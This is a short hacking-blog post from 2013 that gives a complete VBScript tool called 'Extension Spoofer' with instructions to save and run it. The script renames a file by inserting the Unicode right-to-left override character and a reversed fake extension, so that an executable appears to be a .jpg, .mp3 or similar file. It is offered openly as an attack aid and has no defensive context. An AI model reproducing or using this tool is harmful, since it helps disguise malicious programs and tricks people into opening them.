Extension Spoofer (VBscript & Exe)

Posted by mueez
off 4/30/2013 08:30:00 am
No comments

Extension Spoofer (VBscript & Exe)



Code :








'========================================================'
'                                                        '
'                      EXTENSION SPOOFER                 '
'                     CODED BY DJ MAK                    '
'            http://makhackingarticle.blogspot.com       '
'========================================================'
Call Spoof
Sub Spoof()
dim filePath,fileName,exten,FileLen,revExten,dest,NewFileName
set fs = CreateObject("Scripting.FileSystemObject")
filePath=inputbox("Enter The FilePath")
exten=inputbox("Enter the Extension to spoof" & vbCrlf & _
"Example : .jpg, .mp3 , .avi , etc..")
fileName=fs.GetFileName(filepath)
filePath=fs.GetParentFolderName(filepath)
FileLen=Len(fileName)-4
Dim spclChar
spclChar = ChrW(8238)
revExten=StrReverse(exten)
NewFileName=inputbox("Enter the new file name max 5 chars")
dest=NewFileName & spclChar & revExten & mid(fileName,FileLen+2)

fs.copyFile filePath & "\" & Filename,filePath & "\" & dest
msgbox "Extension Spoofed Successfully!!",vbInformation
end sub
Open notepad paste the above script and Save it as ExtSpoofer.vbs
or 




0 comments:

Post a Comment

Subscribe to: Post Comments (Atom)